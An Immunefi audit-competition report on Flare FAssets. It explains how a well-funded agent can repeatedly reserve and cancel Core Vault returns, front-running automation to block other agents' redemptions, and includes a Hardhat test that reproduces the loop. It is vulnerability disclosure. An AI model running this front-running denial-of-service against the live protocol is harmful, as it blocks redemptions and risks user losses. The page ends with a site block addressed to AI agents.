# #46993 \[SC-Low] Malicious agent with large capital can abuse \`cancelReturnFromCoreVault\` to block access to core vault liquidity during high redemption demand **Submitted on Jun 7th 2025 at 13:16:15 UTC by @nnez for** [**Audit Comp | Flare | FAssets**](https://immunefi.com/audit-competition/audit-comp-flare-fassets) * **Report ID:** #46993 * **Report Type:** Smart Contract * **Report severity:** Low * **Target:** * **Impacts:** * Protocol insolvency ## Description ## Vulnerability Details The issue lies in the mechanism that allows agents to request underlying assets from the core vault via `requestReturnFromCoreVault`. This function is intended to let agents with sufficient collateral pull assets from the vault to meet user redemption demand and earn a portion of the redemption fee. See: ```solidity function requestReturnFromCoreVault( Agent.State storage _agent, uint64 _lots ) internal onlyEnabled ``` The function performs the following validations: * The agent is in normal status and not already executing a return. * The agent has enough free collateral to cover the requested lots. * The requested amount is available in the core vault. * The amount is recorded as reserved collateral, reducing the agent’s free balance. However, two key properties open the system to abuse: * There is **no fee** for placing a return request. * The request can be **canceled freely** at any time before execution via `cancelReturnFromCoreVault`. See: ```solidity function cancelReturnFromCoreVault( Agent.State storage _agent ) internal onlyEnabled ``` ### Attack scenario This creates a denial-of-service vector during periods of high redemption pressure. A malicious agent with large capital can exploit this as follows: 1. Malicious agents deposit a large amount of collateral and invoke `requestReturnFromCoreVault`, reserving **all** underlying assets in the Core Vault. 2. Other agents are now blocked from accessing Core Vault funds to fulfill redemptions. 3. Before the automation (`triggerInstructions`) processes the transfer, the attacker **front-runs** it with `cancelReturnFromCoreVault`, freeing the reservation without penalty. 4. Immediately after automation clears pending requests, the attacker **back-runs** with new reservation requests, reclaiming full control of the vault’s available assets. 5. This loop can be **repeated indefinitely**. Since the reserved amount is **excluded from the available pool** and there is **no penalty or fee** for making or canceling requests, attackers face no cost to continuously block access to Core Vault liquidity. See: In a system where 85% of minted fAssets are backed by assets in the Core Vault and only 15% are held by agents directly: * Only 15% of fAssets can be redeemed without vault access. * If malicious agents block all return requests, honest agents cannot fulfill redemptions. * Users are forced to sell fAssets on the secondary market at a discount due to redemption unavailability. This creates a liquidity crunch that impacts the price of the fAsset and can lead to **protocol insolvency**. ## Impact This vulnerability allows malicious agents to execute a **denial-of-service attack** on Core Vault withdrawals, effectively **locking out all other agents** from accessing the liquidity necessary for redemptions. In high-demand situations, this attack can prevent users from redeeming fAssets, leading to **system-wide redemption failure**, **depegging**, and ultimately **protocol insolvency**. ## Rationale for severity Impact: protocol insolvency (effectively) because normal redemption process is disrupted.\ Severity: high because only malicious agent can perform the attack. ## Recommended Mitigations. * Introduce a cancellation window, outside of this period, the cancellation should be disallowed. ## Proof of Concept ## Proof-of-Concept The following test demonstrates that malicious agent with sufficient capital can effectively prevent other agents (or whitelisted users) from accessing liquidity in core vault. ### Steps 1. Add the following test in `test/integration/fasset-simulation/14-CoreVault.ts`. ```typescript it("nnez - request return and frontrun triggerInstructions with cancel", async () => { const agent = await Agent.createTest(context, agentOwner1, underlyingAgent1); const agent2 = await Agent.createTest(context, agentOwner2, underlyingAgent2); const minter = await Minter.createTest(context, minterAddress1, underlyingMinter1, context.underlyingAmount(1000000)); await prefundCoreVault(minter.underlyingAddress, 1e6); // allow CV manager addresses await coreVaultManager.addAllowedDestinationAddresses([agent.underlyingAddress, agent2.underlyingAddress], { from: governance }); // make agent available await agent.depositCollateralLotsAndMakeAvailable(100); await agent2.depositCollateralLotsAndMakeAvailable(10000); // mint const [minted] = await minter.performMinting(agent.vaultAddress, 10); // agent requests transfer for some backing to core vault const transferAmount = context.lotSize().muln(7); await agent.transferToCoreVault(transferAmount); // second agent requests return from CV const rres = await context.assetManager.requestReturnFromCoreVault(agent2.vaultAddress, 7, { from: agent2.ownerWorkAddress }); const returnReq = requiredEventArgs(rres, "ReturnFromCoreVaultRequested"); // first agent try to request underlying asset from core vault to fulfil redemption demand. // but fail due to insufficient amount await expectRevert(context.assetManager.requestReturnFromCoreVault(agent.vaultAddress, 1, {from: agent.ownerWorkAddress}), "not enough available on core vault"); // second agent monitors mempool and catch triggerInstructions tx. // frontrunning with cancellation const cres = await context.assetManager.cancelReturnFromCoreVault(agent2.vaultAddress, { from: agent2.ownerWorkAddress }); // trigger CV requests // nothing is triggered const trigRes = await coreVaultManager.triggerInstructions({ from: triggeringAccount }); const paymentReqs = filterEvents(trigRes, "PaymentInstructions"); assert.equal(paymentReqs.length, 0); // second agent can repeat the attack again await context.assetManager.requestReturnFromCoreVault(agent2.vaultAddress, 7, { from: agent2.ownerWorkAddress }); await expectRevert(context.assetManager.requestReturnFromCoreVault(agent.vaultAddress, 1, {from: agent.ownerWorkAddress}), "not enough available on core vault"); }); ``` 2. Run `yarn test hardhat test/integration/fasset-simulation/14-CoreVault.ts --grep "nnez - request return and frontrun triggerInstructions with cancel"` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://reports.immunefi.com/flare-fassets-or-mainnet-audit-comp/46993-sc-low-malicious-agent-with-large-capital-can-abuse-cancelreturnfromcorevault-to-block-access.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.